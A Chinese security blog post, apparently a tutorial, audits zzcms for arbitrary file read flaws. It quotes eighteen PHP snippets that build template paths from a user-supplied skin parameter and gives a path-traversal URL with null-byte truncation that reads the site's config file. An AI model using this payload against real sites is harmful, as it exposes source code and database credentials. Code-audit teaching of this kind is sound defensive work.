WEB安全系列之如何挖掘任意文件读取漏洞

0x01  前言         
   
     任意文件读取漏洞,从代码审计的角度讲一讲。

0x02  什么是任意文件下载漏洞
      一般的网站都提供读取文件功能,常规的思路是使用一个动态页面(php、jsp、aspx、asp等)将待下载文件作为参数一般参数名称为filename,如.php?filename/.jsp?filename等。一般实现过程是,在根据参数filename的值,获得该文件在网站上的绝对路径,读取文件。大部分情况下,与任意文件下载的危害性相同(都获取到了源代码里的包含的信息)。

0x03  任意文件下载漏洞的危害
      任意文件读取漏洞,是web安全里高危的漏洞,它可以泄露源码、数据库配置文件等等,导致网站处于极度不安全状态。

0x04  实战的案例
    我们来看看zzcms的任意文件读取漏洞,这是个能拿出来当教材的CMS(有兴趣的朋友可以下载看看)
     


    index.php
    参数$siteskin是通过$_request['skin']获取的,然后通过fread读取,最后echo出来。

  1. $file=dirname(__FILE__)."/template/".$siteskin."/index.htm";
  2. if (file_exists($file)==false){
  3. WriteErrMsg($file.'模板文件不存在');
  4. exit;
  5. }
  6. $fso = fopen($file,'r');
  7. $strout = fread($fso,filesize($file));
  8. 。。。。。。
  9. echo  $strout;
复制代码
http://127.0.0.1/index.php?skin=../inc/config.php%00(00截断)  


第二处:
/area/show.php
代码是一样的

  1. $fp="../template/".$siteskin."/area_show.htm";
  2. $f = fopen($fp,'r');
  3. $strout = fread($f,filesize($fp));
  4. fclose($f);
  5. $strout=str_replace("{#siteskin}",$siteskin,$strout) ;
  6. $strout=str_replace("{#sitename}",sitename,$strout) ;
  7. $strout=str_replace("{#siteurl}",siteurl,$strout) ;
  8. $strout=str_replace("{#pagetitle}",$province.sitetitle,$strout);
  9. $strout=str_replace("{#pagekeywords}",$province.sitekeyword,$strout);
  10. $strout=str_replace("{#pagedescription}",sitedescription,$strout);
  11. $strout=str_replace("{#province}",$province,$strout) ;
  12. $strout=str_replace("{#sitebottom}",sitebottom(),$strout);
  13. $strout=str_replace("{#sitetop}",sitetop(),$strout);
  14. $strout=showlabel($strout);
  15. echo  $strout;
复制代码
第三处: /company/company.php

  1. $fp="../template/".$siteskin."/company.htm";
  2. $f= fopen($fp,'r');
  3. $strout = fread($f,filesize($fp));
  4. fclose($f);
  5. 。。。。。
  6. echo  $strout;
复制代码
第四处:
/company/index.php

  1. $file="../template/".$siteskin."/company_index.htm";
  2. if (file_exists($file)==false){
  3. WriteErrMsg($file.'模板文件不存在');
  4. exit;
  5. }
  6. $fso = fopen($file,'r');
  7. $strout = fread($fso,filesize($file));
  8. $strout=str_replace("{#siteskin}",$siteskin,$strout) ;
  9. $strout=str_replace("{#sitename}",sitename,$strout) ;
  10. $strout=str_replace("{#pagetitle}",companylisttitle,$strout);
  11. $strout=str_replace("{#pagekeywords}",companylistkeyword,$strout);
  12. $strout=str_replace("{#pagedescription}",companylistdescription,$strout);
  13. $strout=str_replace("{#sitebottom}",sitebottom(),$strout);
  14. $strout=str_replace("{#sitetop}",sitetop(),$strout);
  15. $strout=showlabel($strout);
  16. echo  $strout;
复制代码
第五处:
/company/search.php


  1. $file="../template/".$siteskin."/company_search.htm";
  2. $fp = fopen($file,'r');
  3. $strout = fread($fp,filesize($file));
  4. fclose($fp);

  5. 。。。。。
  6. echo  $strout;
复制代码
第六处:
/dl/dl.php

  1. $fp="../template/".$siteskin."/dl.htm";
  2. $f = fopen($fp,'r');
  3. $strout = fread($f,filesize($fp));
  4. fclose($f);
  5. 。。。。。
  6. echo  $strout;
复制代码
第七处:
/dl/index.php

  1. $fp="../template/".$siteskin."/dl_index.htm";
  2. if (file_exists($fp)==false){
  3. WriteErrMsg($fp.'模板文件不存在');
  4. exit;
  5. }
  6. $f = fopen($fp,'r');
  7. $strout = fread($f,filesize($fp));
  8. fclose($f);
  9. $strout=str_replace("{#siteskin}",$siteskin,$strout) ;
  10. $strout=str_replace("{#sitename}",sitename,$strout) ;
  11. $strout=str_replace("{#pagetitle}",dllisttitle,$strout);
  12. $strout=str_replace("{#pagekeywords}",dllistkeyword,$strout);
  13. $strout=str_replace("{#pagedescription}",dllistdescription,$strout);
  14. $strout=str_replace("{#sitebottom}",sitebottom(),$strout);
  15. $strout=str_replace("{#sitetop}",sitetop(),$strout);
  16. $strout=showlabel($strout);
  17. mysql_close($conn);
  18. echo  $strout;
复制代码
第八处:
/dl/search.php

  1. $fp="../template/".$siteskin."/dl_search.htm";
  2. $f = fopen($fp,'r');
  3. $strout = fread($f,filesize($fp));
  4. fclose($f);
  5. 。。。。
  6. echo  $strout;
复制代码
第九处:
/inc/bottom.php

  1. $file=zzcmsroot."/template/".$siteskin."/bottom.htm";
  2. $fso = fopen($file,'r');
  3. $strout = fread($fso,filesize($file));

  4. $strout=str_replace("{#sitename}",sitename,$strout) ;
  5. $strout=str_replace("{#siteurl}",siteurl,$strout) ;
  6. $strout=str_replace("{#zzcmsver}",zzcmsver,$strout) ;
  7. $strout=str_replace("{#kftel}",kftel,$strout) ;
  8. $strout=str_replace("{#kfmobile}",kfmobile,$strout);
  9. $strout=str_replace("{#kfqq}",kfqq,$strout);
  10. $strout=str_replace("{#icp}",icp,$strout);
  11. $strout=str_replace("{#sitecount}",sitecount,$strout);
  12. return $strout;
复制代码
第十处:
/one/getpassword.php
  1. $file="../template/".$siteskin."/getpassword.htm";
  2. if (file_exists($file)==false){
  3. WriteErrMsg($file.'模板文件不存在');
  4. exit;
  5. }
  6. 。。。。。
  7. echo  $strout;
复制代码
第十一处:
/one/help.php
  1. $fp="../template/".$siteskin."/help.htm";
  2. if (file_exists($fp)==false){
  3. WriteErrMsg($fp.'模板文件不存在');
  4. exit;
  5. }
  6. $f = fopen($fp,'r');
  7. $strout = fread($f,filesize($fp));
  8. fclose($f);
  9. $strout=str_replace("{#siteskin}",$siteskin,$strout) ;
  10. $strout=str_replace("{#sitename}",sitename,$strout) ;
  11. $strout=str_replace("{#siteurl}",siteurl,$strout) ;
  12. $strout=str_replace("{#logourl}",logourl,$strout) ;
  13. $strout=str_replace("{#sitebottom}",sitebottom(),$strout);
  14. $strout=str_replace("{#sitetop}",sitetop(),$strout);
  15. $strout=showlabel($strout);
  16. mysql_close($conn);
  17. echo  $strout;
复制代码
第十二处:
/one/link.php
  1. $fp="../template/".$siteskin."/link.htm";
  2. if (file_exists($fp)==false){
  3. WriteErrMsg($fp.'模板文件不存在');
  4. exit;
  5. }
  6. $f = fopen($fp,'r');
  7. $strout = fread($f,filesize($fp));
  8. fclose($f);
  9. $strout=str_replace("{#siteskin}",$siteskin,$strout) ;
  10. $strout=str_replace("{#sitename}",sitename,$strout) ;
  11. $strout=str_replace("{#siteurl}",siteurl,$strout) ;
  12. $strout=str_replace("{#logourl}",logourl,$strout) ;
  13. $strout=str_replace("{#sitebottom}",sitebottom(),$strout);
  14. $strout=str_replace("{#sitetop}",sitetop(),$strout);
  15. $strout=showlabel($strout);
  16. mysql_close($conn);
  17. echo  $strout;
复制代码

第十三处:
/one/siteinfo.php
  1. $fp="../template/".$siteskin."/siteinfo.htm";
  2. if (file_exists($fp)==false){
  3. WriteErrMsg($fp.'模板文件不存在');
  4. exit;
  5. }
  6. $f = fopen($fp,'r');
  7. $strout = fread($f,filesize($fp));
  8. fclose($f);
  9. $strout=str_replace("{#siteskin}",$siteskin,$strout) ;
  10. $strout=str_replace("{#sitename}",sitename,$strout) ;
  11. $strout=str_replace("{#siteurl}",siteurl,$strout) ;
  12. $strout=str_replace("{#title}",$title,$strout) ;
  13. $strout=str_replace("{#content}",$content,$strout) ;
  14. $strout=str_replace("{#logourl}",logourl,$strout) ;
  15. $strout=str_replace("{#sitebottom}",sitebottom(),$strout);
  16. $strout=str_replace("{#sitetop}",sitetop(),$strout);
  17. //$strout=showlabel($strout);
  18. echo  $strout;
复制代码

第十四处:
/one/sitemap.php
  1. $file="../template/".$siteskin."/sitemap.htm";
  2. if (file_exists($file)==false){
  3. WriteErrMsg($file.'模板文件不存在');
  4. exit;
  5. }
  6. 。。。。。
  7. echo  $strout;
复制代码

第十五处:
/pp/index.php
  1. $fp="../template/".$siteskin."/pp_index.htm";
  2. if (file_exists($fp)==false){
  3. WriteErrMsg($fp.'模板文件不存在');
  4. exit;
  5. }
  6. $f = fopen($fp,'r');
  7. $strout = fread($f,filesize($fp));
  8. fclose($f);
  9. $strout=str_replace("{#siteskin}",$siteskin,$strout) ;
  10. $strout=str_replace("{#sitename}",sitename,$strout) ;
  11. $strout=str_replace("{#pagetitle}",pplisttitle,$strout);
  12. $strout=str_replace("{#pagekeywords}",pplistkeyword,$strout);
  13. $strout=str_replace("{#pagedescription}",pplistdescription,$strout);
  14. $strout=str_replace("{#sitebottom}",sitebottom(),$strout);
  15. $strout=str_replace("{#sitetop}",sitetop(),$strout);

  16. $strout=str_replace("{#ppclass}",bigclass(2),$strout);

  17. $strout=showlabel($strout);
  18. echo  $strout;
复制代码

第十六处:
/pp/pp.php
  1. $fp="../template/".$siteskin."/pp.htm";
  2. $f = fopen($fp,'r');
  3. $strout = fread($f,filesize($fp));
  4. fclose($f);
  5. 。。。。。。
  6. echo  $strout;
复制代码

第十七处:
/pp/search.php
  1. $fp="../template/".$siteskin."/pp_search.htm";
  2. $f = fopen($fp,'r');
  3. $strout = fread($f,filesize($fp));
  4. fclose($f);
  5. 。。。。。
  6. echo  $strout;
复制代码

第十八处:
/pp/show.php
  1. $fp="../template/".$siteskin."/ppshow.htm";
  2. $f = fopen($fp,'r');
  3. $strout = fread($f,filesize($fp));
  4. fclose($f);
  5. 。。。。。。
  6. echo  $strout;
复制代码

0x04  挖掘任意文件读取漏洞的技巧、
一:注意观察网站的URL,如果读取一个文件的时候文件后缀为.com/1.php?lujing=/test/test.php

        你可以关注一下这儿,有些网站(主要是针对系统)并不会在URL里显示给你看,这时候你需要抓包,从数据包里修改路径,达到任意文件读取。



原文链接:   

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值